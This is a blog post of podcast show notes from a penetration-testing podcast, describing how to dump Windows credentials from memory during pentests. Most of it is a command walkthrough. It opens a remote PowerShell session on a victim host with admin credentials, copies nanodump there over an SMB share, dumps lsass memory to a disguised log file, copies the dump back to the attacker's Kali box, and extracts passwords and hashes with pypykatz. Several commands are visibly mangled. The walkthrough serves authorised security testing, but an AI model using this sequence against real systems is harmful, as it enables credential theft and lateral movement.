Preview Mode Links will not work in preview mode

7 Minute Security

Feb 18, 2022

Hey friends! We have another fun test of pentest pwnage to share with you today, which is kind of tossed in a blender with some first impressions of ShellcodePack.

We were on a bunch of pentests recently where we needed to dump credentials out of memory. We usually skim this article and other dumping techniques, but this time nothing seemed to work. After some discussion with colleagues, we were pointed to nanodump, which I believe is intended for use with Cobalt Strike, but you can compile standalone (or, pro tip: the latest CrackMapExec has nanodump.exe built right into it, you just have to create the folder first. So what I like to do is put nanodump in a folder on my Kali box, get some admin creds to my victim host, and then do something like this:

 # Windows system: tell your Windows system to trust the victim host you're about to PS into: winrm set winrm/config/client @{TrustedHosts="VICTIM-SERVER"}  # Windows system: PowerShell into the victim system Enter-PSSession -computername -Credential\pwneduser  # Kali system: create and share a folder with nanodump.exe in it:  sudo mkdir /share sudo python3 /opt/impacket/examples/ share /share -smb2support  # Victim system: copy nanodump from Kali box to VICTIM-SERVER copy \\YOUR.KALI.IP.ADDRESS\share\nano.exe c:\windows\temp\  # Victim system: get the PID for lsass.exe tasklist /FI "IMAGENAME eq lsass.exe"  # Victim system: use nano to do the lsass dump c:\windows\temp\nano.exe --pid x --write c:\windows\temp\toteslegit.log  # Victim system: Get the log back to your Kali share copy c:\windows\temp\toteslegit.log \\YOUR.KALI.IP.ADDRSS\share\  # Kali system: "fix" the dump and extract credz with mimikatz! sudo /opt/nanodump/ winupdates1.log sudo python3 -m pypykatz lsa minidump toteslegit.log -o dump.txt 

Enjoy delicious passwords and hashes in the dump.txt file!